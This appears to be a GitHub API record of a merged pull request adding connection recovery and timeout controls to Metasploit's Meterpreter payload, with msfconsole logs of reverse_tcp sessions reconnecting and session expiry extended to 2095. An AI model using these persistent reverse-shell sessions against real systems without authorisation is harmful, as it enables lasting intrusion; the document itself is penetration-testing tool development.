{"action":"closed","number":151,"pull_request":{"url":"https://api.github.com/repos/rapid7/meterpreter/pulls/151","id":33748343,"html_url":"https://github.com/rapid7/meterpreter/pull/151","diff_url":"https://github.com/rapid7/meterpreter/pull/151.diff","patch_url":"https://github.com/rapid7/meterpreter/pull/151.patch","issue_url":"https://api.github.com/repos/rapid7/meterpreter/issues/151","number":151,"state":"closed","locked":false,"title":"Connection recovery and POSIX transport switching","user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"body":"This PR contains a stack of code that is another stepping stone towards totally resilient and stable shells. The goal of this work is to allow Meterpreter to \"recover\" communications in the event of network failures or disconnects.\r\n\r\nAll of the HTTP related timeouts are now available in TCP comms too (`session expiry`, `comms timeout`, `retry total` and `retry wait`). These can all be set/get on the fly as well so that the tester/attacker has fully control. This also means that session expiry can be extended (which we weren't able to do before).\r\n\r\nThe code includes:\r\n* Various refactoring around transport handling.\r\n* Tracking previous communications channels for reuse.\r\n* Implementation of a new command that allows for the setting of the 4 timeout values.\r\n* Implementation of transport switching for POSIX.\r\n* POSIX adds another \"flush\" call when reconnecting. The reason for this is because we don't yet have a stageless handler for POSIX and so MSF throws another copy of the mid-sized stager as well as metsrv, both of which need to be ignored for things to work. This hack can be removed when we've got proper stageless listeners going.\r\n* Refactor of timeouts into a structure.\r\n\r\nTo be clear, the word \"recovery\" in this case means \"restarting communications in the way it was done previously\". That means it'll callback again if it's reverse, or it'll bind again if it's bind. If https is required, that's what it it'll be.\r\n\r\nThis work relies on new bind stagers which are still WIP in the MSF repo. The MSF side of this PR can be found here: https://github.com/rapid7/metasploit-framework/pull/5214\r\n\r\nIn essence you should be able to kill off comms (or MSF totally). Restart MSF, and have things \"just work\".\r\n\r\n**NOTE:** This change means that TCP payloads behave like HTTP in that calling `exit -y` no longer kills off communications. If you want sessions to die, you have to tell them! (or wait for them to expire).\r\n\r\nPOSIX has an issue where the timeouts can't be patched by MSF on the fly because the strings that are used for replacement aren't visible due to gzip compression. This is something I'll be getting help from Brent on. For now they have \"sane defaults\" and they can be modified on the fly.\r\n\r\nKeen eyes and critique needed.\r\n\r\n### Sample run:\r\nWindows x64:\r\n```\r\nmsf exploit(handler) > run\r\n\r\n[*] Started reverse handler on 10.1.10.40:8000 \r\n[*] Starting the payload handler...\r\n[*] Sending stage (1124864 bytes) to 10.1.10.35\r\n[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.35:49285) at 2015-04-21 20:06:06 +1000\r\n\r\nmeterpreter > background\r\nmsf exploit(handler) > exit -y\r\n$ ./msfconsole -x 'set payload windows/x64/meterpreter_reverse_tcp; run'\r\n[*] Starting the Metasploit Framework console...|\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%     %%%         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%  %%  %%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%  %  %%%%%%%%   %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%  %%  %%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%  %%%%%%%%%   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%%%%  %%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n%%%%    %%   %%%%%%%%%%%  %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%  %%%%%\r\n%%%%  %%  %%  %      %%      %%    %%%%%      %    %%%%  %%   %%%%%%       %%\r\n%%%%  %%  %%  %  %%% %%%%  %%%%  %%  %%%%  %%%%  %% %%  %% %%% %%  %%%  %%%%%\r\n%%%%  %%%%%%  %%   %%%%%%   %%%%  %%%  %%%%  %%    %%  %%% %%% %%   %%  %%%%%\r\n%%%%%%%%%%%% %%%%     %%%%%    %%  %%   %    %%  %%%%  %%%%   %%%   %%%     %\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%  %%%%%%% %%%%%%%%%%%%%%\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%          %%%%%%%%%%%%%%\r\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\r\n\r\n\r\n       =[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]]\r\n+ -- --=[ 1445 exploits - 822 auxiliary - 229 post        ]\r\n+ -- --=[ 378 payloads - 37 encoders - 8 nops             ]\r\n+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]\r\n\r\npayload => windows/x64/meterpreter_reverse_tcp\r\n[*] Started reverse handler on 10.1.10.40:8000 \r\n[*] Starting the payload handler...\r\n[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.35:49286) at 2015-04-21 20:08:14 +1000\r\n\r\nmeterpreter > sysinfo\r\nComputer        : WIN-S45GUQ5KGVK\r\nOS              : Windows 7 (Build 7601, Service Pack 1).\r\nArchitecture    : x64\r\nSystem Language : en_US\r\nMeterpreter     : x64/win64\r\nmeterpreter > exit\r\n```\r\n\r\nPOSIX:\r\n```\r\nmsf exploit(handler) > run\r\n\r\n[*] Started reverse handler on 10.1.10.40:8000 \r\n[*] Starting the payload handler...\r\n[*] Transmitting intermediate stager for over-sized stage...(100 bytes)\r\n[*] Sending stage (1564672 bytes) to 10.1.10.40\r\n[*] Meterpreter session 2 opened (10.1.10.40:8000 -> 10.1.10.40:49080) at 2015-04-21 20:15:57 +1000\r\n\r\nmeterpreter > sysinfo\r\nComputer     : ropchain\r\nOS           : Linux ropchain 3.19.2-201.fc21.x86_64 #1 SMP Tue Mar 24 03:08:23 UTC 2015 (x86_64)\r\nArchitecture : x86_64\r\nMeterpreter  : x86/linux\r\nmeterpreter > background\r\n[*] Backgrounding session 2...\r\nmsf exploit(handler) > exit -y\r\n$ ./msfconsole\r\n[*] Starting the Metasploit Framework console...|\r\nCall trans opt: received. 2-19-98 13:24:18 REC:Loc\r\n\r\n     Trace program: running\r\n\r\n           wake up, Neo...\r\n        the matrix has you\r\n      follow the white rabbit.\r\n\r\n          knock, knock, Neo.\r\n\r\n                        (`.         ,-,\r\n                        ` `.    ,;' /\r\n                         `.  ,'/ .'\r\n                          `. X /.'\r\n                .-;--''--.._` ` (\r\n              .'            /   `\r\n             ,           ` '   Q '\r\n             ,         ,   `._    \\\r\n          ,.|         '     `-.;_'\r\n          :  . `  ;    `  ` --,.._;\r\n           ' `    ,   )   .'\r\n              `._ ,  '   /_\r\n                 ; ,''-,;' ``-\r\n                  ``-..__``--`\r\n\r\n                             http://metasploit.pro\r\n\r\n\r\n       =[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]]\r\n+ -- --=[ 1445 exploits - 822 auxiliary - 229 post        ]\r\n+ -- --=[ 378 payloads - 37 encoders - 8 nops             ]\r\n+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]\r\n\r\nmsf exploit(handler) > run\r\n\r\n[*] Started reverse handler on 10.1.10.40:8000 \r\n[*] Starting the payload handler...\r\n[*] Transmitting intermediate stager for over-sized stage...(100 bytes)\r\n[*] Sending stage (1564672 bytes) to 10.1.10.40\r\n[*] Meterpreter session 1 opened (10.1.10.40:8000 -> 10.1.10.40:49092) at 2015-04-21 20:16:31 +1000\r\n\r\nmeterpreter > sysinfo\r\nComputer     : ropchain\r\nOS           : Linux ropchain 3.19.2-201.fc21.x86_64 #1 SMP Tue Mar 24 03:08:23 UTC 2015 (x86_64)\r\nArchitecture : x86_64\r\nMeterpreter  : x86/linux\r\nmeterpreter > exit\r\n```\r\n\r\nTimeout extension:\r\n```\r\nmeterpreter > get_timeouts \r\nSession Expiry  : @ 2015-05-05 21:25:28\r\nComm Timeout    : 300 seconds\r\nRetry Total Time: 3600 seconds\r\nRetry Wait Time : 10 seconds\r\nmeterpreter > set_timeouts \r\nUsage: set_timeouts [options]\r\n\r\nSet the current timeout options.\r\nAny or all of these can be set at once.\r\n\r\nOPTIONS:\r\n\r\n    -c <opt>  Comms timeout (seconds)\r\n    -h        Help menu\r\n    -t <opt>  Retry total time (seconds)\r\n    -w <opt>  Retry wait time (seconds)\r\n    -x <opt>  Expiration timout (seconds)\r\n\r\n\r\nmeterpreter > set_timeouts -t 10000\r\nSession Expiry  : @ 2015-05-06 13:49:42\r\nComm Timeout    : 300 seconds\r\nRetry Total Time: 10000 seconds\r\nRetry Wait Time : 10 seconds\r\nmeterpreter > set_timeouts -x 11111111111\r\nSession Expiry  : @ 2095-03-13 03:19:21\r\nComm Timeout    : 300 seconds\r\nRetry Total Time: 10000 seconds\r\nRetry Wait Time : 10 seconds\r\n```\r\n## Verification\r\n- [x] Payloads continue to function as they always did\r\n- [ ] bind_tcp (win32, win64, posix) comms rebind automatically (MSF needs to then call in).\r\n- [x] reverse_tcp (win32, win64, posix) comms reconnect automatically.\r\n- [x] reverse_http comms reconnect automatically.\r\n- [x] reverse_https comms reconnect automatically.\r\n- [ ] All payloads terminate as they used to with `sessions -K` or `exit` from within the Meterpreter prompt.\r\nYou'll need the MSF side of this PR to make all this work.","created_at":"2015-04-21T10:34:49Z","updated_at":"2015-04-28T03:55:54Z","closed_at":"2015-04-28T03:55:54Z","merged_at":"2015-04-28T03:55:54Z","merge_commit_sha":"ba5d72b9d248a79b3161471faa7056838c8f54f3","assignee":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/meterpreter/pulls/151/commits","review_comments_url":"https://api.github.com/repos/rapid7/meterpreter/pulls/151/comments","review_comment_url":"https://api.github.com/repos/rapid7/meterpreter/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/meterpreter/issues/151/comments","statuses_url":"https://api.github.com/repos/rapid7/meterpreter/statuses/25882126eaa5a8010db71cae016cb18b04e03106","head":{"label":"OJ:connection-recovery","ref":"connection-recovery","sha":"25882126eaa5a8010db71cae016cb18b04e03106","user":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"repo":{"id":12094504,"name":"meterpreter","full_name":"OJ/meterpreter","owner":{"login":"OJ","id":28896,"avatar_url":"https://avatars.githubusercontent.com/u/28896?v=3","gravatar_id":"","url":"https://api.github.com/users/OJ","html_url":"https://github.com/OJ","followers_url":"https://api.github.com/users/OJ/followers","following_url":"https://api.github.com/users/OJ/following{/other_user}","gists_url":"https://api.github.com/users/OJ/gists{/gist_id}","starred_url":"https://api.github.com/users/OJ/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/OJ/subscriptions","organizations_url":"https://api.github.com/users/OJ/orgs","repos_url":"https://api.github.com/users/OJ/repos","events_url":"https://api.github.com/users/OJ/events{/privacy}","received_events_url":"https://api.github.com/users/OJ/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/OJ/meterpreter","description":"Metasploit's native payload for Windows (and Linux if you don't mind segfaults).","fork":true,"url":"https://api.github.com/repos/OJ/meterpreter","forks_url":"https://api.github.com/repos/OJ/meterpreter/forks","keys_url":"https://api.github.com/repos/OJ/meterpreter/keys{/key_id}","collaborators_url":"https://api.github.com/repos/OJ/meterpreter/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/OJ/meterpreter/teams","hooks_url":"https://api.github.com/repos/OJ/meterpreter/hooks","issue_events_url":"https://api.github.com/repos/OJ/meterpreter/issues/events{/number}","events_url":"https://api.github.com/repos/OJ/meterpreter/events","assignees_url":"https://api.github.com/repos/OJ/meterpreter/assignees{/user}","branches_url":"https://api.github.com/repos/OJ/meterpreter/branches{/branch}","tags_url":"https://api.github.com/repos/OJ/meterpreter/tags","blobs_url":"https://api.github.com/repos/OJ/meterpreter/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/OJ/meterpreter/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/OJ/meterpreter/git/refs{/sha}","trees_url":"https://api.github.com/repos/OJ/meterpreter/git/trees{/sha}","statuses_url":"https://api.github.com/repos/OJ/meterpreter/statuses/{sha}","languages_url":"https://api.github.com/repos/OJ/meterpreter/languages","stargazers_url":"https://api.github.com/repos/OJ/meterpreter/stargazers","contributors_url":"https://api.github.com/repos/OJ/meterpreter/contributors","subscribers_url":"https://api.github.com/repos/OJ/meterpreter/subscribers","subscription_url":"https://api.github.com/repos/OJ/meterpreter/subscription","commits_url":"https://api.github.com/repos/OJ/meterpreter/commits{/sha}","git_commits_url":"https://api.github.com/repos/OJ/meterpreter/git/commits{/sha}","comments_url":"https://api.github.com/repos/OJ/meterpreter/comments{/number}","issue_comment_url":"https://api.github.com/repos/OJ/meterpreter/issues/comments{/number}","contents_url":"https://api.github.com/repos/OJ/meterpreter/contents/{+path}","compare_url":"https://api.github.com/repos/OJ/meterpreter/compare/{base}...{head}","merges_url":"https://api.github.com/repos/OJ/meterpreter/merges","archive_url":"https://api.github.com/repos/OJ/meterpreter/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/OJ/meterpreter/downloads","issues_url":"https://api.github.com/repos/OJ/meterpreter/issues{/number}","pulls_url":"https://api.github.com/repos/OJ/meterpreter/pulls{/number}","milestones_url":"https://api.github.com/repos/OJ/meterpreter/milestones{/number}","notifications_url":"https://api.github.com/repos/OJ/meterpreter/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/OJ/meterpreter/labels{/name}","releases_url":"https://api.github.com/repos/OJ/meterpreter/releases{/id}","created_at":"2013-08-13T22:27:55Z","updated_at":"2015-04-21T09:58:59Z","pushed_at":"2015-04-28T03:51:13Z","git_url":"git://github.com/OJ/meterpreter.git","ssh_url":"git@github.com:OJ/meterpreter.git","clone_url":"https://github.com/OJ/meterpreter.git","svn_url":"https://github.com/OJ/meterpreter","homepage":"","size":18853,"stargazers_count":1,"watchers_count":1,"language":"C","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":1,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"aa083dab8415830a261182291a20d7611691de14","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":6768615,"name":"meterpreter","full_name":"rapid7/meterpreter","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/meterpreter","description":"Metasploit's native payload for Windows and POSIX","fork":false,"url":"https://api.github.com/repos/rapid7/meterpreter","forks_url":"https://api.github.com/repos/rapid7/meterpreter/forks","keys_url":"https://api.github.com/repos/rapid7/meterpreter/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/meterpreter/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/meterpreter/teams","hooks_url":"https://api.github.com/repos/rapid7/meterpreter/hooks","issue_events_url":"https://api.github.com/repos/rapid7/meterpreter/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/meterpreter/events","assignees_url":"https://api.github.com/repos/rapid7/meterpreter/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/meterpreter/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/meterpreter/tags","blobs_url":"https://api.github.com/repos/rapid7/meterpreter/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/meterpreter/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/meterpreter/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/meterpreter/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/meterpreter/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/meterpreter/languages","stargazers_url":"https://api.github.com/repos/rapid7/meterpreter/stargazers","contributors_url":"https://api.github.com/repos/rapid7/meterpreter/contributors","subscribers_url":"https://api.github.com/repos/rapid7/meterpreter/subscribers","subscription_url":"https://api.github.com/repos/rapid7/meterpreter/subscription","commits_url":"https://api.github.com/repos/rapid7/meterpreter/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/meterpreter/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/meterpreter/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/meterpreter/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/meterpreter/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/meterpreter/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/meterpreter/merges","archive_url":"https://api.github.com/repos/rapid7/meterpreter/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/meterpreter/downloads","issues_url":"https://api.github.com/repos/rapid7/meterpreter/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/meterpreter/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/meterpreter/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/meterpreter/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/meterpreter/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/meterpreter/releases{/id}","created_at":"2012-11-19T22:40:03Z","updated_at":"2015-04-21T09:58:49Z","pushed_at":"2015-04-28T03:55:54Z","git_url":"git://github.com/rapid7/meterpreter.git","ssh_url":"git@github.com:rapid7/meterpreter.git","clone_url":"https://github.com/rapid7/meterpreter.git","svn_url":"https://github.com/rapid7/meterpreter","homepage":"","size":20806,"stargazers_count":140,"watchers_count":140,"language":"C","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":78,"mirror_url":null,"open_issues_count":13,"forks":78,"open_issues":13,"watchers":140,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/meterpreter/pulls/151"},"html":{"href":"https://github.com/rapid7/meterpreter/pull/151"},"issue":{"href":"https://api.github.com/repos/rapid7/meterpreter/issues/151"},"comments":{"href":"https://api.github.com/repos/rapid7/meterpreter/issues/151/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/meterpreter/pulls/151/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/meterpreter/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/meterpreter/pulls/151/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/meterpreter/statuses/25882126eaa5a8010db71cae016cb18b04e03106"}},"merged":true,"mergeable":null,"mergeable_state":"unknown","merged_by":{"login":"bcook-r7","id":10031469,"avatar_url":"https://avatars.githubusercontent.com/u/10031469?v=3","gravatar_id":"","url":"https://api.github.com/users/bcook-r7","html_url":"https://github.com/bcook-r7","followers_url":"https://api.github.com/users/bcook-r7/followers","following_url":"https://api.github.com/users/bcook-r7/following{/other_user}","gists_url":"https://api.github.com/users/bcook-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bcook-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcook-r7/subscriptions","organizations_url":"https://api.github.com/users/bcook-r7/orgs","repos_url":"https://api.github.com/users/bcook-r7/repos","events_url":"https://api.github.com/users/bcook-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bcook-r7/received_events","type":"User","site_admin":false},"comments":3,"review_comments":0,"commits":2,"additions":29,"deletions":44,"changed_files":1}}